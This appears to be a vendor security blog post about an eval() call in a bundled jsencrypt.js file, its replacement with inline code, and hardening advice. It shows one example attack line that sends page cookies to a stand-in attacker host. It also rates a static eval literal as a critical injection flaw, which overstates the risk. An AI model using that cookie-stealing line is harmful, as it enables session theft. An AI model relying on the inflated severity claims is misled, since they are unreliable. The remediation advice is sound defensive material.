The Problem with eval() in a Cryptography Library
The js/lib/jsencrypt.js file is responsible for RSA encryption in the browser—it wraps the popular JSEncrypt library and is a foundational piece of any application that uses it for key exchange or credential protection. That makes a code injection vulnerability inside it especially alarming.
At line 195 of jsencrypt.js, a webpack-bundled module contained this pattern:
eval("// shim for using process in browser\nvar process = module.exports = {};\n\n// cached from whatever global is present so that test runners that stub it\n// don't break things. ...");
This single eval() call executes a multi-line JavaScript string that defines a process object shim—a common polyfill for running Node.js-style code in the browser. On its own, the string is benign. But the use of eval() to execute it creates a critical attack surface: any mechanism that can alter the string before it reaches eval() can execute arbitrary JavaScript in the user's browser.
The Vulnerability Explained
What eval() Does—and Why It's Dangerous
JavaScript's eval() function takes a string and executes it as live JavaScript code in the current scope. It was historically used in bundlers, polyfills, and dynamic module loaders, but it is widely considered dangerous because:
- It bypasses static analysis. Code inside an
eval()string is invisible to most linters, type checkers, and security scanners until runtime. - It creates a universal code execution sink. Any attacker who controls the input string can run any JavaScript—steal cookies, exfiltrate tokens, redirect the user, or install a persistent XSS payload.
- It defeats Content Security Policy. Applications that use
eval()cannot safely setscript-srcwithoutunsafe-eval, weakening their entire CSP posture.
The Specific Vulnerable Pattern
The vulnerable code is inside a webpack module wrapper:
/***/ ((module) => {
eval("// shim for using process in browser\nvar process = module.exports = {};\n\n...\nvar cachedSetTimeout;\nvar cachedClearTimeout;\n\nfunction defaultSetTimout() {\n throw new Error('setTimeout has not been defined');\n}\n...");
/***/ })
The string passed to eval() is a well-known process browser shim (from the npm process package). In its original, unmodified form, it is harmless. The danger lies in how it arrives at runtime.
How an Attacker Could Exploit This
Consider three realistic attack scenarios specific to this file:
Scenario 1 — Supply Chain Compromise
If the npm package or CDN serving jsencrypt.js is compromised (a common supply chain attack vector), an attacker can modify the string argument to eval() before it reaches users. Because the code is already calling eval(), no additional injection step is needed—the attacker simply replaces the benign shim string with malicious JavaScript:
// Attacker-modified version of the eval() argument:
eval("document.location='https://attacker.com/steal?c='+document.cookie");
Every user who loads the page executes this code in their browser, with full access to the page's DOM, cookies, and local storage.
Scenario 2 — Man-in-the-Middle (MitM) on Non-HTTPS Delivery
If the application serves jsencrypt.js over HTTP (or via a CDN without Subresource Integrity), a network-level attacker can intercept and modify the file in transit, replacing the eval() string payload before it reaches the browser.
Scenario 3 — Prototype Pollution or DOM Clobbering
In complex JavaScript environments, prototype pollution vulnerabilities in other libraries could potentially influence the string value before it reaches eval(), turning a separate, lower-severity bug into remote code execution.
Real-World Impact for This Application
Because jsencrypt.js is a cryptography library used for RSA operations, it is likely loaded on pages that handle sensitive operations—login, key exchange, or credential management. Arbitrary code execution in this context means an attacker could:
- Silently exfiltrate private keys or plaintext credentials before encryption occurs.
- Intercept form submissions on authentication pages.
- Persist a malicious script that survives page navigation via
localStorageorsessionStorage.
The Fix
The fix is conceptually simple and surgically precise: replace the eval() call with the equivalent inline JavaScript code. Instead of passing the shim as a string to be evaluated at runtime, the code is written directly into the module body so it is parsed and compiled statically, like all other JavaScript in the bundle.
Before (Vulnerable)
/***/ ((module) => {
eval("// shim for using process in browser\nvar process = module.exports = {};\n\nvar cachedSetTimeout;\nvar cachedClearTimeout;\n\nfunction defaultSetTimout() {\n throw new Error('setTimeout has not been defined');\n}\nfunction defaultClearTimeout () {\n throw new Error('clearTimeout has not been defined');\n}\n(function () {\n try {\n if (typeof setTimeout === 'function') {\n cachedSetTimeout = setTimeout;\n } else {\n cachedSetTimeout = defaultSetTimout;\n }\n } catch (e) {\n cachedSetTimeout = defaultSetTimout;\n }\n ...\n} ())\n...");
/***/ })
After (Fixed)
/***/ ((module) => {
// shim for using process in browser
var process = module.exports = {};
var cachedSetTimeout;
var cachedClearTimeout;
function defaultSetTimout() {
throw new Error('setTimeout has not been defined');
}
function defaultClearTimeout () {
throw new Error('clearTimeout has not been defined');
}
(function () {
try {
if (typeof setTimeout === 'function') {
cachedSetTimeout = setTimeout;
} else {
cachedSetTimeout = defaultSetTimout;
}
} catch (e) {
cachedSetTimeout = defaultSetTimout;
}
try {
if (typeof clearTimeout === 'function') {
cachedClearTimeout = clearTimeout;
} else {
cachedClearTimeout = defaultClearTimeout;
}
} catch (e) {
cachedClearTimeout = defaultClearTimeout;
}
} ())
// ... remainder of shim inlined directly
/***/ })
Why This Fix Works
The behavior is 100% identical—the same process shim runs in both cases. The critical difference is that the inlined version:
- Cannot be injected into. There is no string being parsed at runtime. The code is compiled statically by the JavaScript engine at load time.
- Is visible to static analysis tools. Linters, SAST scanners, and bundler tree-shaking can now inspect and optimize this code.
- Enables strict CSP. With
eval()removed, the application can setContent-Security-Policy: script-src 'self'without requiring'unsafe-eval', hardening the entire application against XSS. - Is scoped to one file. The PR confirms the change is limited to
js/lib/jsencrypt.jsand the build passes without modification, meaning no behavioral regression was introduced.
Prevention & Best Practices
1. Ban eval() at the Linter Level
Add the ESLint no-eval rule to your project configuration:
// .eslintrc.json
{
"rules": {
"no-eval": "error",
"no-implied-eval": "error"
}
}
no-implied-eval also catches setTimeout("code string", 0) and setInterval("code string", 0), which are functionally equivalent to eval().
2. Enforce Content Security Policy Without unsafe-eval
Once eval() is removed from your codebase, you can enforce a strict CSP:
Content-Security-Policy: script-src 'self' 'nonce-{random}'; object-src 'none';
This provides defense-in-depth: even if an eval() call were somehow reintroduced, the browser would refuse to execute it.
3. Use Subresource Integrity (SRI) for Third-Party Scripts
If jsencrypt.js or any other library is loaded from a CDN, always include an integrity attribute:
<script
src="https://cdn.example.com/jsencrypt.min.js"
integrity="sha384-[base64-hash]"
crossorigin="anonymous">
</script>
SRI ensures the browser rejects any file that has been tampered with in transit.
4. Audit Webpack Bundles for eval()
Webpack's devtool option can introduce eval() in development builds (e.g., devtool: 'eval-source-map'). Ensure production builds use devtool: 'source-map' or false:
// webpack.config.js
module.exports = {
mode: 'production',
devtool: 'source-map', // NOT 'eval' or 'eval-source-map'
};
5. Pin and Audit Dependencies
Supply chain attacks targeting eval()-heavy bundles are a documented threat. Use npm audit, Dependabot, or a software composition analysis (SCA) tool to monitor for compromised packages. Consider using npm ci with a locked package-lock.json in CI/CD pipelines.
Relevant Standards
- OWASP Top 10 A03:2021 – Injection: eval() injection is a direct instance of this category.
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ("Eval Injection").
- OWASP Cheat Sheet – Injection Prevention: Recommends avoiding dynamic code evaluation entirely.
Key Takeaways
eval()in a cryptography library is a worst-case scenario:jsencrypt.jshandles RSA operations on sensitive pages. An eval injection here gives attackers access to keys and credentials before they are ever encrypted.- Webpack-bundled
eval()strings are a supply chain attack vector: The shim string in this module is benign today, but any mechanism that modifiesjsencrypt.jsbefore delivery—CDN compromise, MitM, or dependency tampering—turns thiseval()into arbitrary code execution. - Inlining the code is always safer than
eval()-ing a string: The fix proves that theprocessshim works perfectly as static inline code. There was never a functional reason to useeval()here. - Removing
eval()unlocks stricter CSP: This single fix enables the application to dropunsafe-evalfrom its Content Security Policy, hardening the entire app against XSS. - Static analysis can and should catch this: The
no-evalESLint rule and Semgrep patterns foreval()would have flagged line 195 automatically—adding these to CI prevents regressions.
How Orbis AppSec Detected This
- Source: The tainted string originates inside a webpack module wrapper in
js/lib/jsencrypt.js, where a JavaScript string literal containing theprocessbrowser shim is passed directly toeval(). - Sink:
eval(...)atjs/lib/jsencrypt.js:195—a direct dynamic code execution call with a string argument that could be influenced by supply chain or network-level tampering. - Missing control: No static inlining of the shim code; no CSP restriction on
unsafe-eval; no Subresource Integrity to detect tampering with the file. - CWE: CWE-95 — Improper Neutralization of Directives in Dynamically Evaluated Code ("Eval Injection").
- Fix: The
eval()call and its string argument were replaced with the equivalent JavaScript code written inline directly into the webpack module body.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The eval() call in jsencrypt.js is a textbook example of how a seemingly low-risk legacy pattern can become a critical vulnerability in a sensitive context. The process shim it executed was harmless—but the mechanism used to execute it was not. By inlining the shim code directly, the fix eliminates the dynamic execution surface entirely, enables stricter Content Security Policy enforcement, and makes the code fully visible to static analysis tools—all without changing a single byte of runtime behavior.
For developers maintaining JavaScript libraries or working with webpack bundles: audit your bundles for eval() calls, especially in production builds. The no-eval ESLint rule costs nothing to enable and can prevent a critical vulnerability from shipping. When you find an eval() call executing a known, static string, the fix is almost always as simple as this one: just write the code inline.